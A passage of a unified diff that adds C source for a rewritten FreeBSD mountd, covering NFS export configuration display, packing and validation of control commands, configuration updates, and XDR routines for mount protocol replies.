syslog(LOG_ERR, "addr6_spec_list is not empty"); + if (LIST_NEXT(&secflavors_def, link) != NULL) + syslog(LOG_ERR, "secflavors_list is not empty"); + if (LIST_NEXT(&cred_exp_anon_def, link) != NULL) + syslog(LOG_ERR, "cred_exp_list is not empty"); +#endif +} + +/* + * Output a string, representing non-printable characters, + * white spaces and backslashes as octal numbers. + */ +static void +print_string(const char *str) +{ + for (; *str != '\0'; ++str) + if (!isprint((u_char)*str) || *str == ' ' || *str == '\\') + printf("\\%03o", (u_char)*str); + else + printf("%c", *str); +} + +/* + * Output security flavors. + */ +static void +print_secflavors(const struct secflavors *sf) +{ + const char *str; + u_int i, n; + + printf(" -sec "); + n = sf->nsec; + for (i = 0; i < n; ++i) { + switch (sf->sec[i]) { + case AUTH_SYS: + str = "sys"; + break; + case RPCSEC_GSS_KRB5: + str = "krb5"; + break; + case RPCSEC_GSS_KRB5I: + str = "krb5i"; + break; + default: /* RPCSEC_GSS_KRB5P */ + str = "krb5p"; + } + printf("%s", str); + if (i < n - 1) + printf(":"); + } +} + +/* + * Output credentials specified in ce. + * Special case is -2:-2 credentials. + */ +static void +print_cred(const uint32_t flags, const struct cred_exp *ce) +{ + if (flags & OPT_MAPALL) + printf(" -mapall"); + if (flags & OPT_MAPROOT) + printf(" -maproot"); + if (ce == &cred_exp_anon_def) + printf("=-2:-2"); + else { + printf(" %lu", (u_long)ce->uid); + if (ce->ngids > 0) { + u_int i, ngids; + + ngids = ce->ngids; + for (i = 0; i < ngids; ++i) + printf(":%lu", (u_long)ce->gids[i]); + } else + printf(":"); + } +} + +/* + * Output everything related to the given addr_exp. + */ +static void +print_addr_exp(const u_int family, const struct addr_exp *ae) +{ + int show_opts; + uint32_t flags; + + printf(" "); + flags = ae->oflags; + show_opts = 1; + if (exp_cmd_num > 0) { + const char *str; + + switch (_CMD_GET(flags)) { + case CMD_ADD: + str = " add"; + break; + case CMD_UPDATE: + str = "update"; + break; + default: /* CMD_DELETE */ + str = "delete"; + show_opts = 0; + } + printf("-c %s ", str); + } + if (show_opts) { + printf("-r%c", (flags & OPT_RO) ? 'o' : 'w'); + print_secflavors(ae->secflavors); + print_cred(flags, ae->cred_exp); + if (flags & OPT_NO_MNT_DMP) + printf(" -no_mntproc_dump"); + if (flags & OPT_NO_MNT_EXP) + printf(" -no_mntproc_export"); + printf(" "); + } + if (family != AF_UNSPEC) + printf("-%s %s%s", + (flags & OPT_NETWORK) ? "network" : "host", + (flags & OPT_DENY) ? "!" : "", + addr_spec_str(family, ae->addr_spec)); +} + +/* + * Output all addr_exp structures from the given list. + */ +static void +print_addr_exp_list(const u_int family, const struct addr_exp_list *ae_list) +{ + const struct addr_exp *ae; + + TAILQ_FOREACH(ae, ae_list, link) { + print_addr_exp(family, ae); + printf("\n"); + } +} + +/* + * Output all configuration in readable form. + */ +void +show_conf(void) +{ + const struct fs_exp_list *fe_list; + struct statfs statfsbuf; + const struct fs_exp *fe; + uint32_t flags; + + flags = goflags; + if ((flags & ~OPT_SEC) != 0) { + printf("Global options:\n"); + if (flags & OPT_NO_MNT_DMP) + printf(" -no_mntproc_dump\n"); + if (flags & OPT_NO_MNT_EXP) + printf(" -no_mntproc_export\n"); + } + + fe_list = fs_exp_list; + TAILQ_FOREACH(fe, fe_list, link) { + printf("\nDirectory "); + print_string(fe->path); + if (statfs(fe->path, &statfsbuf) == 0) + if (strcmp(statfsbuf.f_mntonname, fe->path) == 0) + printf(" (mount point)"); + printf("\n"); + flags = fe->oflags; + if (flags & OPT_ERRCONFIG) { + printf(" Wrong configuration\n"); + continue; + } + if (flags & FE_OPTS_ALLFLAGS) { + printf(" File system options:\n"); + if (flags & OPT_QUIET) + printf(" -quiet\n"); + if (flags & OPT_NO_MNT_DMP) + printf(" -no_mntproc_dump\n"); + if (flags & OPT_NO_MNT_EXP) + printf(" -no_mntproc_export\n"); + if (flags & OPT_PUBLIC) { + printf(" -%s", (flags & OPT_WEBNFS) ? + "webnfs" : "public"); + if (flags & OPT_INDEX) { + printf(" -index "); + print_string(index_webnfs); + } + printf("\n"); + } + } + if (exp_cmd_num == 0) + printf(" Export specifications:\n"); + else + printf(" Commands:\n"); + if (exp_cmd_num > 0) + if (_CMD_OPT(flags) == CMD_OPT_FLUSH) + printf(" -c flush\n"); + print_addr_exp_list(AF_INET, &fe->ae4_list); + print_addr_exp_list(AF_INET6, &fe->ae6_list); + if (fe->ae_def != NULL) { + print_addr_exp(AF_UNSPEC, fe->ae_def); + printf("(default)\n"); + } + } +} + +/* + * Convert one addr_exp structure to ctl_addr_exp structure and + * put it to the buffer. + */ +static void +ctl_addr_exp_pack(char **ptr0, const u_int family, const struct addr_exp *ae) +{ + struct ctl_addr_exp cae; + u_int i; + + cae.family = family; + if (ae->addr_spec != NULL) { + if (family == AF_INET) { + cae.addr_spec.as4.addr = + ADDR4_SPEC_PTR(ae->addr_spec)->addr; + cae.addr_spec.as4.maskbits= ae->addr_spec->maskbits; + } else { + cae.addr_spec.as6.addr = + ADDR6_SPEC_PTR(ae->addr_spec)->addr; + cae.addr_spec.as6.maskbits = ae->addr_spec->maskbits; + } + } + cae.uid = ae->cred_exp->uid; + cae.ngids = ae->cred_exp->ngids; + for (i = 0; i < cae.ngids; ++i) + cae.gids[i] = ae->cred_exp->gids[i]; + cae.nsec = ae->secflavors->nsec; + for (i = 0; i < cae.nsec; ++i) + cae.sec[i] = ae->secflavors->sec[i]; + cae.oflags = ae->oflags; + memcpy(*ptr0, &cae, sizeof(cae)); + *ptr0 += sizeof(cae); +} + +/* + * Convert all addr_exp structures from the given list to ctl_addr_exp + * structures and put them to the buffer. + */ +static void +ctl_addr_exp_list_pack(char **ptr0, const u_int family, + const struct addr_exp_list *ae_list) +{ + const struct addr_exp *ae; + + TAILQ_FOREACH(ae, ae_list, link) + ctl_addr_exp_pack(ptr0, family, ae); +} + +/* + * Pack CTL_CMD_EXPORT command data, fs_exp_list contains all commands. + */ +int +ctl_export_pack(void) +{ + struct ctl_fs_exp cfe; + const struct fs_exp_list *fe_list; + const struct fs_exp *fe; + char *ptr; + size_t size; + u_int nspec; + + size = 0; + nspec = 0; + fe_list = fs_exp_list; + TAILQ_FOREACH(fe, fe_list, link) { + size += sizeof(cfe) + fe->path_len; + nspec += fe->nspec; + } + ctl_cmd_hdr.size = size += nspec * sizeof(struct ctl_addr_exp); + ctl_cmd_buf = ptr = malloc(size); + if (ptr == NULL) { + warn("ctl_export_pack: malloc"); + return (-1); + } + TAILQ_FOREACH(fe, fe_list, link) { + cfe.path_len = fe->path_len; + cfe.oflags = fe->oflags; + cfe.nspec = fe->nspec; + memcpy(ptr, &cfe, sizeof(cfe)); + ptr += sizeof(cfe); + memcpy(ptr, fe->path, fe->path_len); + ptr += fe->path_len; + if (fe->ae_def != NULL) + ctl_addr_exp_pack(&ptr, AF_UNSPEC, fe->ae_def); + ctl_addr_exp_list_pack(&ptr, AF_INET, &fe->ae4_list); + ctl_addr_exp_list_pack(&ptr, AF_INET6, &fe->ae6_list); + } + if ((char *)ctl_cmd_buf + size != ptr) { + warnx("ctl_export_pack: size mismatch: %p vs %p", + (char *)ctl_cmd_buf + size, ptr); + return (-1); + } + return (0); +} + +/* + * Convert one ctl_addr_exp structure to addr_exp structure and + * add it to fs_exp structure. + */ +static int +ctl_addr_exp_unpack(const char *ptr, struct fs_exp *fe) +{ + struct ctl_addr_exp cae; + struct addr_spec *as; + struct addr_exp *ae; + uint32_t cmd, flags; + + memcpy(&cae, ptr, sizeof(cae)); + + flags = cae.oflags; + if (flags & (OPT_HOST|OPT_NETWORK)) { + /* -host or -network, should have correct family. */ + if ((flags & (OPT_HOST|OPT_NETWORK)) == (OPT_HOST|OPT_NETWORK)) + return (-2); + if (cae.family != AF_INET && cae.family != AF_INET6) + return (-2); + } else { + /* Check duplicated update for the default export. */ + if (fe->ae_def != NULL) + return (-2); + } + + cmd = _CMD_GET(flags); + + /* Flushed file system cannot have "delete" or "update" commands. */ + if ((cmd == CMD_DELETE || cmd == CMD_UPDATE) && + (_CMD_OPT(fe->oflags) == CMD_OPT_FLUSH)) + return (-2); + + if (cmd == CMD_DELETE) { + /* "delete" command can have only -host or -network flag. */ + if (flags & ~(CMD_OPT_DELETE|OPT_HOST|OPT_NETWORK)) + return (-2); + } else if (cmd == CMD_FLUSH) { + /* "flush" command cannot be used for address specification. */ + return (-2); + } else { + u_int i, j; + + /* Should have -mapall or -maproot. */ + if (!(flags & (OPT_MAPALL|OPT_MAPROOT)) || + (flags & (OPT_MAPALL|OPT_MAPROOT)) == + (OPT_MAPALL|OPT_MAPROOT)) + return (-2); + /* Should have -rw or -ro. */ + if (!(flags & (OPT_RO|OPT_RW)) || + (flags & (OPT_RO|OPT_RW)) == (OPT_RO|OPT_RW)) + return (-2); + /* Validate credentials and security flavors. */ + if (cae.ngids > NGROUPS || cae.nsec > NFSE_NSECFLAV || + cae.nsec == 0) + return (-2); + for (i = 0; i < cae.ngids; ++i) + for (j = i + 1; j < cae.ngids; ++j) + if (cae.gids[i] == cae.gids[j]) + return (-2); + for (i = 0; i < cae.nsec; ++i) + switch (cae.sec[i]) { + case AUTH_SYS: + case RPCSEC_GSS_KRB5: + case RPCSEC_GSS_KRB5I: + case RPCSEC_GSS_KRB5P: + for (j = i + 1; j < cae.nsec; ++j) + if (cae.sec[i] == cae.sec[j]) + return (-2); + break; + default: + return (-2); + } + } + + ae = malloc(sizeof(*ae)); + if (ae == NULL) { + syslog(LOG_ERR, "ctl_addr_exp_unpack: malloc: %m"); + return (-1); + } + + if (flags & (OPT_HOST|OPT_NETWORK)) { + const struct addr_exp *ae0; + struct addr_exp_list *ae_list; + uint8_t *addr, *mask; + u_int len, maskbits; + + /* Command for -host or -network. */ + as = malloc(cae.family == AF_INET ? + ADDR_SPEC_IPV4_SIZE : ADDR_SPEC_IPV6_SIZE); + if (as == NULL) { + syslog(LOG_ERR, "ctl_addr_exp_unpack: malloc"); + free(ae); + return (-1); + } + if (cae.family == AF_INET) { + struct addr4_spec *as4; + + len = IPV4_ADDR_LEN; + as4 = ADDR4_SPEC_PTR(as); + as4->addr = cae.addr_spec.as4.addr; + addr = (uint8_t *)&as4->addr.s_addr; + mask = (uint8_t *)&as4->mask.s_addr; + maskbits = cae.addr_spec.as4.maskbits; + ae_list = &fe->ae4_list; + } else { + struct addr6_spec *as6; + + len = IPV6_ADDR_LEN; + as6 = ADDR6_SPEC_PTR(as); + as6->addr = cae.addr_spec.as6.addr; + addr = as6->addr.s6_addr; + mask = as6->mask.s6_addr; + maskbits = cae.addr_spec.as6.maskbits; + ae_list = &fe->ae6_list; + } + if (!(flags & OPT_NETWORK)) { + if (maskbits != 0) + goto failed; + maskbits = cae.family == AF_INET ? + (IPV4_ADDR_LEN * 8) : (IPV6_ADDR_LEN * 8); + as->maskbits = 0; + } else + as->maskbits = maskbits; + if (make_mask(mask, len, maskbits) < 0) + goto failed; + as = find_addr_spec(cae.family, (flags & OPT_NETWORK), as); + TAILQ_FOREACH(ae0, ae_list, link) + if (ae0->addr_spec == as) + goto failed; + TAILQ_INSERT_TAIL(ae_list, ae, link); + ae->addr_spec = as; + as->ref_count++; + } else { + /* Command for default export. */ + ae->addr_spec = NULL; + fe->ae_def = ae; + } + + ae->cred_exp = NULL; + ae->secflavors = NULL; + ae->oflags = flags; + if (cmd != CMD_DELETE) { + /* "add" or "update" commands. */ + ae->cred_exp = find_cred_exp(cae.uid, cae.ngids, cae.gids); + if (ae->cred_exp == NULL) + return (-1); + ae->cred_exp->ref_count++; + ae->secflavors = find_secflavors(cae.nsec, cae.sec); + if (ae->secflavors == NULL) + return (-1); + ae->secflavors->ref_count++; + } + + return (0); + +failed: + free(as); + free(ae); + return (-2); +} + +/* + * Unpack CTL_CMD_EXPORT command data and create fs_exp_list. + */ +int +ctl_export_unpack(void) +{ + struct ctl_fs_exp cfe; + struct fs_exp_list *fe_list; + struct fs_exp *fe; + char *ptr; + size_t size; + int rv; + + fe_list = &fs_exp_list_update; + TAILQ_INIT(fe_list); + size = ctl_cmd_hdr.size; + ptr = ctl_cmd_buf; + for (; size > 0;) { + if (size < sizeof(cfe)) + return (-2); + memcpy(&cfe, ptr, sizeof(cfe)); + if (cfe.oflags & ~(FE_CMD_OPTS_ALLFLAGS|CMD_OPT_FLUSH)) + return (-2); + if (cfe.path_len == 0 || cfe.path_len > RPCMNT_PATHLEN) + return (-2); + if ((fe = malloc(sizeof(*fe))) == NULL || + (fe->path = malloc(cfe.path_len + 1)) == NULL) { + free(fe); + syslog(LOG_ERR, "ctl_export_unpack: malloc: %m"); + return (-1); + } + size -= sizeof(cfe); + if (size < cfe.path_len) + return (-2); + ptr += sizeof(cfe); + memcpy(fe->path, ptr, cfe.path_len); + fe->path[cfe.path_len] = '\0'; + if (fs_exp_by_path(fe_list, fe->path) != NULL) { + free(fe->path); + free(fe); + return (-2); + } + init_fs_exp(fe); + TAILQ_INSERT_TAIL(fe_list, fe, link); + fe->oflags = cfe.oflags; + if (strchr(fe->path, '\0') != fe->path + cfe.path_len) + return (-2); + ptr += cfe.path_len; + size -= cfe.path_len; + if (size < cfe.nspec * sizeof(struct ctl_addr_exp)) + return (-2); + size -= cfe.nspec * sizeof(struct ctl_addr_exp); + fe->nspec = cfe.nspec; + for (; cfe.nspec != 0; --cfe.nspec) { + rv = ctl_addr_exp_unpack(ptr, fe); + if (rv < 0) + return (rv); + ptr += sizeof(struct ctl_addr_exp); + } + } + return (0); +} + +/* + * Pack a command with no data. + */ +int +ctl_nodata_pack(void) +{ + ctl_cmd_hdr.size = 0; + return (0); +} + +/* + * Unpack a command that does not require data. + */ +int +ctl_nodata_unpack(void) +{ + if (ctl_cmd_hdr.size != 0) + return (-2); + return (0); +} + +/* + * Apply settings from ae1_list to fe2. This function does not allocate + * memory, it can fail only if new settings cannot be applied to existent + * configuration. + */ +static int +update_addr_exp_list(const int check, const u_int family, + struct addr_exp_list *ae1_list, struct fs_exp *fe2) +{ + struct addr_exp_list *ae2_list; + struct addr_exp *ae1, *ae2, *ae1_next; + uint32_t cmd, flags; + + ae2_list = family == AF_INET ? &fe2->ae4_list : &fe2->ae6_list; + flags = (goflags | fe2->oflags) & OPT_NO_MNT_DMP; + TAILQ_FOREACH_SAFE(ae1, ae1_list, link, ae1_next) { + TAILQ_FOREACH(ae2, ae2_list, link) + if (ae1->addr_spec == ae2->addr_spec) + break; + cmd = _CMD_GET(ae1->oflags); + if (!check) { + ae1->oflags &= ~_CMD_ALLBITS; + ae1->oflags |= flags | CMD_OPT_ADD; + } + switch (cmd) { + case CMD_ADD: + if (ae2 != NULL) + return (-1); + if (!check) { + TAILQ_REMOVE(ae1_list, ae1, link); + link_addr_exp(ae2_list, ae1); + fe2->nspec++; + inc_no_mnt_exp(fe2, ae1->oflags); + } + break; + case CMD_UPDATE: + if (ae2 == NULL) + return (-1); + if (!check) { + ae2->cred_exp->ref_count--; + ae2->cred_exp = ae1->cred_exp; + ae1->cred_exp = NULL; + ae2->secflavors->ref_count--; + ae2->secflavors = ae1->secflavors; + ae1->secflavors = NULL; + if (!(ae2->oflags & OPT_DENY) && + (ae1->oflags & OPT_DENY)) + mntlist_recheck(family, fe2); + dec_no_mnt_exp(fe2, ae2->oflags); + inc_no_mnt_exp(fe2, ae1->oflags); + ae2->oflags = ae1->oflags; + } + break; + case CMD_DELETE: + if (ae2 == NULL) + return (-1); + if (!check) { + ae2->addr_spec->ref_count--; + ae2->cred_exp->ref_count--; + ae2->secflavors->ref_count--; + TAILQ_REMOVE(ae2_list, ae2, link); + dec_no_mnt_exp(fe2, ae2->oflags); + free(ae2); + fe2->nspec--; + mntlist_recheck(family, fe2); + } + break; + } + } + return (0); +} + +/* + * Get data from fe1_list and apply it to the current configuration + * (that is given in fs_exp_list). If the check flag is on, then just + * try to apply. This function does not allocate memory, it can fail + * only if new settings cannot be applied to existent configuration. + * Always check new settings first, if everything is correct then load + * updates to nfsserver and only then apply the same new settings to + * the current configuration. + */ +int +update_conf(const int check) +{ + struct addr_exp_list ae4_list, ae6_list; + struct fs_exp_list *fe1_list, *fe2_list; + struct fs_exp *fe1, *fe2, *fe1_next; + struct addr_exp *ae1, *ae2; + int rv; + uint32_t cmd; + + fe1_list = &fs_exp_list_update; + fe2_list = fs_exp_list; + TAILQ_FOREACH_SAFE(fe1, fe1_list, link, fe1_next) { + fe2 = fs_exp_by_path(fe2_list, fe1->path); + if (fe2 != NULL) { + /* Update existent file system. */ + if (fe2->oflags & OPT_EXPORTED) { + fe1->oflags |= OPT_EXPORTED; + fe1->fsid = fe2->fsid; + } + /* Inherit existent -quiet option. */ + fe1->oflags |= fe2->oflags & OPT_QUIET; + } else { + /* New file system. */ + fe1->oflags |= OPT_NEWEXPORT; + } + if (_CMD_OPT(fe1->oflags) == CMD_OPT_FLUSH) { + /* Commands were check in ctl_addr_exp_unpack(). */ + if (fe2 == NULL) + return (-2); + if (check) + continue; + if (fe2 != NULL) { + /* Flush configuration. */ + free_fs_exp(fe2_list, fe2); + fe2 = NULL; + } + } + if (fe2 == NULL) { + /* Flushed or new file system. */ + if (fe1->nspec == 0 && + !(fe1->oflags & FE_CMD_OPTS_ALLFLAGS)) + continue; + if (!check) { + /* Use already allocated fs_exp structure. */ + TAILQ_REMOVE(fe1_list, fe1, link); + link_fs_exp(fe2_list, fe1); + fe1->nspec = 0; + } + fe2 = fe1; + } + /* + * Apply settings (have to use separate lists since + * fe1 and fe2 can point to the same data). + */ + if (!check) { + /* Inherit new file system options. */ + fe2->oflags |= fe1->oflags & FE_CMD_OPTS_ALLFLAGS; + } + TAILQ_INIT(&ae4_list); + TAILQ_CONCAT(&ae4_list, &fe1->ae4_list, link); + rv = update_addr_exp_list(check, AF_INET, &ae4_list, fe2); + TAILQ_CONCAT(&fe1->ae4_list, &ae4_list, link); + if (rv < 0) + return (-1); + TAILQ_INIT(&ae6_list); + TAILQ_CONCAT(&ae6_list, &fe1->ae6_list, link); + rv = update_addr_exp_list(check, AF_INET6, &ae6_list, fe2); + TAILQ_CONCAT(&fe1->ae6_list, &ae6_list, link); + if (rv < 0) + return (-1); + if (fe1->ae_def != NULL) { + cmd = _CMD_GET(fe1->ae_def->oflags); + if (!check) { + fe1->ae_def->oflags &= ~_CMD_ALLBITS; + fe1->ae_def->oflags |= CMD_OPT_ADD; + } + switch (cmd) { + case CMD_ADD: + if (fe1 != fe2) { + if (fe2->ae_def != NULL) + return (-1); + if (!check) { + fe2->ae_def = fe1->ae_def; + fe1->ae_def = NULL; + } + } + if (!check) { + fe2->nspec++; + inc_no_mnt_exp(fe2, + fe2->ae_def->oflags); + } + break; + case CMD_UPDATE: + if (fe1 == fe2 || fe2->ae_def == NULL) + return (-1); + if (!check) { + ae1 = fe1->ae_def; + ae2 = fe2->ae_def; + ae2->cred_exp->ref_count--; + ae2->cred_exp = ae1->cred_exp; + ae1->cred_exp = NULL; + ae2->secflavors->ref_count--; + ae2->secflavors = ae1->secflavors; + ae1->secflavors = NULL; + dec_no_mnt_exp(fe2, ae2->oflags); + inc_no_mnt_exp(fe2, ae1->oflags); + ae2->oflags = ae1->oflags; + } + break; + case CMD_DELETE: + if (fe1 == fe2 || fe2->ae_def == NULL) + return (-1); + if (!check) { + ae2 = fe2->ae_def; + ae2->cred_exp->ref_count--; + ae2->secflavors->ref_count--; + dec_no_mnt_exp(fe2, ae2->oflags); + free(ae2); + fe2->ae_def = NULL; + fe2->nspec--; + mntlist_recheck(AF_INET, fe2); + mntlist_recheck(AF_INET6, fe2); + } + break; + } + } + if (!check) { + /* Is a directory still exported? */ + if (!(fe2->oflags & OPT_EXPORTED)) + fe1->oflags &= ~OPT_EXPORTED; + } + } + return (0); +} diff -ruN empty/mountd_conf.h mountd/mountd_conf.h --- empty/mountd_conf.h 1970-01-01 03:00:00.000000000 +0300 +++ mountd/mountd_conf.h 2009-06-26 14:12:41.000000000 +0300 @@ -0,0 +1,101 @@ +/*- + * Copyright (c) 2009 Andrey Simonenko + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * $FreeBSD:$ + */ + +#ifndef MOUNTD_CONF_H +#define MOUNTD_CONF_H + +/* + * Options flags, not all of them should be visible outside of + * mountd_conf.c, but it looks better to keep them all in one place. + */ +#define OPT_QUIET 0x00000001 /* -quiet */ +#define OPT_RO 0x00000002 /* -ro */ +#define OPT_RW 0x00000004 /* -rw */ +#define OPT_ALLDIRS 0x00000008 /* -alldirs */ +#define OPT_PUBLIC 0x00000010 /* -public */ +#define OPT_INDEX 0x00000020 /* -index */ +#define OPT_MAPALL 0x00000040 /* -mapall */ +#define OPT_MAPROOT 0x00000080 /* -maproot */ +#define OPT_MASK 0x00000100 /* -mask or -network=.../yy */ +#define OPT_NETWORK 0x00000200 /* -network */ +#define OPT_HOST 0x00000400 /* -host */ +#define OPT_WEBNFS 0x00000800 /* -webnfs */ +#define OPT_SEC 0x00001000 /* -sec */ +#define OPT_NOSPEC 0x00002000 /* -nospec */ +#define OPT_NO_MNT_DMP 0x00004000 /* -no_mntproc_dump */ +#define OPT_NO_MNT_EXP 0x00008000 /* -no_mntproc_export */ +#define OPT_DENY 0x00010000 /* '!' flag in address spec. */ +#define OPT_ARG 0x01000000 /* Option requires an argument. */ +#define OPT_COMPAT 0x02000000 /* Obsolete option. */ +#define OPT_ERRCONFIG 0x04000000 /* Wrong configuration. */ +#define OPT_EXPORTED 0x10000000 /* File system is exported. */ +#define OPT_NEWEXPORT 0x20000000 /* New file system export. */ + +/* + * Commands are encoded in last two bits of options value. + */ +#define _CMD_SHIFT (30) +#define _CMD_GET(x) ((x) >> _CMD_SHIFT) +#define _CMD_ALLBITS (~((UINT32_C(1) << _CMD_SHIFT) - 1)) +#define _CMD_OPT(x) ((x) & _CMD_ALLBITS) +#define CMD_ADD (UINT32_C(0)) +#define CMD_UPDATE (UINT32_C(1)) +#define CMD_DELETE (UINT32_C(2)) +#define CMD_FLUSH (UINT32_C(3)) +#define CMD_OPT_ADD (CMD_ADD << _CMD_SHIFT) +#define CMD_OPT_UPDATE (CMD_UPDATE << _CMD_SHIFT) +#define CMD_OPT_DELETE (CMD_DELETE << _CMD_SHIFT) +#define CMD_OPT_FLUSH (CMD_FLUSH << _CMD_SHIFT) + +extern int set_exp_file(int, char **); +extern int add_exp_cmd(char *); + +extern int configure(int); +extern void unconfigure(void); +extern void show_conf(void); +extern int update_conf(const int); +extern void free_unref_conf(void); + +extern void free_fs_exp_list(struct fs_exp_list *); + +extern char *addr_spec_str(const u_int, const struct addr_spec *); +extern int addrcmp(const uint8_t *, const uint8_t *, const u_int); + +extern int crit_fs_err(const int); + +extern int ctl_export_pack(void); +extern int ctl_export_unpack(void); +extern int ctl_nodata_pack(void); +extern int ctl_nodata_unpack(void); + +#define ctl_reload_pack ctl_nodata_pack +#define ctl_reload_unpack ctl_nodata_unpack +#define ctl_flush_pack ctl_nodata_pack +#define ctl_flush_unpack ctl_nodata_unpack + +#endif /* !MOUNTD_CONF_H */ diff -ruN empty/mountd_xdr.c mountd/mountd_xdr.c --- empty/mountd_xdr.c 1970-01-01 03:00:00.000000000 +0300 +++ mountd/mountd_xdr.c 2009-06-26 14:12:42.000000000 +0300 @@ -0,0 +1,308 @@ +/*- + * Copyright (c) 1989, 1993 + * The Regents of the University of California. + * Copyright (c) 2009 Andrey Simonenko + * All rights reserved. + * + * This code is derived from software contributed to Berkeley by + * Herb Hasler and Rick Macklem at The University of Guelph. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include +__FBSDID("$FreeBSD:$"); + +#include +#include +#include +#include + +#include +#include + +#include +#include + +#include +#include +#include + +#include +#include + +#include "mountd.h" +#include "mountd_conf.h" +#include "mountd_xdr.h" + +/* + * NFSv2 and NFSv3 define formats for RPC mount procedures. + * Both standards use the same XDR data structures (except file handle). + */ + +/* + * XDR routine for generating file handle reply. + */ +int +xdr_fhs(XDR *xdrs, char *cp) +{ + struct fhreturn *fhrp; + u_int val; +#ifdef WITH_SEC + u_int i; +#else + int secflav; +#endif + + fhrp = (struct fhreturn *)cp; + + val = NFS_OK; + if (!xdr_u_int(xdrs, &val)) + goto xdr_int_failed; + + switch (fhrp->fhr_vers) { + case 1: + if (!xdr_opaque(xdrs, (char *)&fhrp->fhr_fh, NFSX_V2FH)) + goto xdr_opaque_failed; + return (TRUE); + case 3: + val = NFSX_V3FH; + if (!xdr_u_int(xdrs, &val)) + goto xdr_int_failed; + if (!xdr_opaque(xdrs, (char *)&fhrp->fhr_fh, val)) + goto xdr_opaque_failed; +#ifdef WITH_SEC + if (!xdr_u_int(xdrs, &fhrp->fhr_nsec)) + goto xdr_int_failed; + for (i = 0; i < fhrp->fhr_nsec; ++i) + if (!xdr_int(xdrs, &fhrp->fhr_sec[i])) + goto xdr_int_failed; +#else + val = 1; + if (!xdr_u_int(xdrs, &val)) + goto xdr_int_failed; + secflav = RPCAUTH_UNIX; + if (!xdr_int(xdrs, &secflav)) + goto xdr_int_failed; +#endif + return (TRUE); + } + return (FALSE); + +xdr_opaque_failed: + syslog(LOG_WARNING, "xdr_fhs: xdr_opaque failed"); + return (FALSE); + +xdr_int_failed: + syslog(LOG_WARNING, "xdr_fhs: xdr_int failed"); + return (FALSE); +} + +/* + * XDR routine for generating list of hosts with mounted paths. + */ +/* ARGSUSED1 */ +int +xdr_mntlist(XDR *xdrs, char *cp __unused) +{ + const struct mnt_host_list *mh_list; + const struct mnt_host *mh; + const struct fs_exp_list *fe_list; + const struct fs_exp *fe; + struct mnt_path *mp; + char *pathp, *hostp; + size_t path_len; + int family; + bool_t bool; + char path[PATH_MAX]; + char host[INET6_ADDRSTRLEN]; + + if (no_mntproc_dump) + goto done; + bool = TRUE; + pathp = path; + hostp = host; + fe_list = fs_exp_list; + TAILQ_FOREACH(fe, fe_list, link) { + if ((fe->oflags & OPT_NO_MNT_DMP) || + !(fe->oflags & OPT_EXPORTED)) + continue; + path_len = fe->path_len; + memcpy(path, fe->path, fe->path_len); + for (family = AF_INET, mh_list = &fe->mh4_list;;) { + LIST_FOREACH(mh, mh_list, link) { + if (inet_ntop(family, MNT_HOST_ADDR(mh), + host, sizeof(host)) == NULL) { + syslog(LOG_ERR, "xdr_mntlist: " + "inet_ntop: %m"); + return (FALSE); + } + LIST_FOREACH(mp, &mh->mp_list, link) { + if (!xdr_bool(xdrs, &bool)) + goto xdr_bool_failed; + if (!xdr_string(xdrs, &hostp, + RPCMNT_NAMELEN)) + goto xdr_string_failed; + if (mp->subpath == subpath_empty) + path[path_len] = '\0'; + else { + path[path_len] = '/'; + strncpy(path + path_len + 1, + mp->subpath, + PATH_MAX - path_len - 2); + path[PATH_MAX - 1] = '\0'; + } + if (!xdr_string(xdrs, &pathp, + RPCMNT_PATHLEN)) + goto xdr_string_failed; + } + } + if (mh_list == &fe->mh6_list) + break; + family = AF_INET6; + mh_list = &fe->mh6_list; + } + } +done: + bool = FALSE; + if (xdr_bool(xdrs, &bool)) + return (TRUE); + +xdr_bool_failed: + 